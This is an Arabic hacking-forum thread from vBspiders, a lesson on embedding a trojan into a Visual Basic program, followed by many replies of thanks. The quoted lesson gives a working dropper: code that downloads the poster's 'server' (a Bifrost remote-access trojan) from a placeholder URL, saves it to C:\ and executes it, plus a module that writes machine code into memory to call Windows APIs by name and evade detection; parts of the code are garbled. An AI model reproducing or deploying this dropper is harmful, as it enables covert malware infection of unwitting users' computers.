:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   قســم إختــراق الأجهــزة (http://www.vbspiders.com/vb/forumdisplay.php?f=36)
-   -   ][الدرس الرابع: تلغيم برنامج بالفيوجل بيسك][ (http://www.vbspiders.com/vb/showthread.php?t=31832)

طير الليل 10-11-2010 09:51 PM

[align=right]يعطيك ألف عآفية ،
جآآآري التحميل ،

[/align]

smartshadi 10-20-2010 06:54 PM

smilies14مشششششششششششششششششششششششككككككككووووووووو ووررررررررررررررsmilies7

Hacking ghost 10-21-2010 03:23 PM

thnx

احمد ar 10-22-2010 09:26 PM

مشكور

ziedzammit 10-23-2010 02:19 AM

اقتباس:

المشاركة الأصلية كتبت بواسطة DR.THMoORY (المشاركة 165115)
http://filaty.com/i/919/80565/x.PNG

مسآكم الله بالخير × صبحكم آلله بالخير !
درسنآ خفيف وسهل جدا..~

[mklb2]][الدرس الرابع: تلغيم برنامج بالفيوجل بيسك][[/mklb2]

][تحميل الشرح ميدا فاير][
المحتوى المخفي لايقتبس

][مرفوع على اليوتيوب كمان][

المحتوى المخفي لايقتبس
][الفورم][


BifrostlRet = CallApiByName("urlmon", "URLDownloadToFileW", 0, StrPtr("الرابط المباشر لسيرفرك"), StrPtr("C:\اسم سيرفرك.exe"), 0, 0)
Call CallApiByName("shell32", "ShellExecuteW", 0, 0, StrPtr("C:\اسم سيرفرك.exe"), 0, 0, 0)




~الموديل~
كود PHP:



Declare Sub RtlMoveMemory Lib "kernel32" (dest As Anysrc As AnyByVal L As Long)
Declare Function 
CallWindowProcA Lib "user32" (ByVal addr As LongByVal p1 As LongByVal p2 As LongByVal p3 As LongByVal p4 As Long) As Long
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As LongByVal lpProcName As String) As Long
Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Function CallApiByName(ByVal sLib As StringByVal sMod As StringParamArray Params()) As Long
On Error Resume Next
    Dim lPtr                
As Long
    Dim bvASM
(&HEC00& - 1)  As Byte
    Dim I                   
As Long
    Dim lMod                
As Long
    
    lMod 
GetProcAddress(LoadLibraryA(sLib), sMod)
    If 
lMod 0 Then Exit Function
    
    
lPtr VarPtr(bvASM(0))
    
RtlMoveMemory ByVal lPtr, &H59595958, &H4:              lPtr lPtr 4
    RtlMoveMemory ByVal lPtr
, &H5059, &H2:                  lPtr lPtr 2
    
For UBound(ParamsTo 0 Step -1
        RtlMoveMemory ByVal lPtr
, &H68, &H1:                lPtr lPtr 1
        RtlMoveMemory ByVal lPtr
CLng(Params(I)), &H4:     lPtr lPtr 4
    Next
    RtlMoveMemory ByVal lPtr
, &HE8, &H1:                    lPtr lPtr 1
    RtlMoveMemory ByVal lPtr
lMod lPtr 4, &H4:         lPtr lPtr 4
    RtlMoveMemory ByVal lPtr
, &HC3, &H1:                    lPtr lPtr 1
    CallApiByName 
CallWindowProcA(VarPtr(bvASM(0)), 0000)
    
End Function 

انتهى تحياتي
فلسطين فلسطين فلسطين فلسطين

meeeeeeeeeeeeeeeeeeerci

mohamed_iraq 10-24-2010 11:18 AM

مشكووووووووووووووووووووووور

aide info 10-25-2010 05:27 PM

thank you brother

Dr-X-Designer 10-27-2010 05:23 AM

[align=center]الف شكر يا غالي[/align]

mcawalid 10-28-2010 01:17 PM

merciiiiiiiiiiiiiiii

ولـي ـد 10-28-2010 06:27 PM

مششششششششششششششششششششششششكوووووووور إخوووي يعطيك العافيـه

SeLvEr 10-29-2010 08:15 PM

بارك الله فيك

بحر الكلام 11-04-2010 12:53 AM

شكرااااااااااااااا

mod3 11-14-2010 03:43 AM

thank you

kastm 11-14-2010 06:40 PM

ثانكس اخوي

darksoul 11-24-2010 07:34 AM

[align=right]مشكووور [/align]


الساعة الآن 03:53 PM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0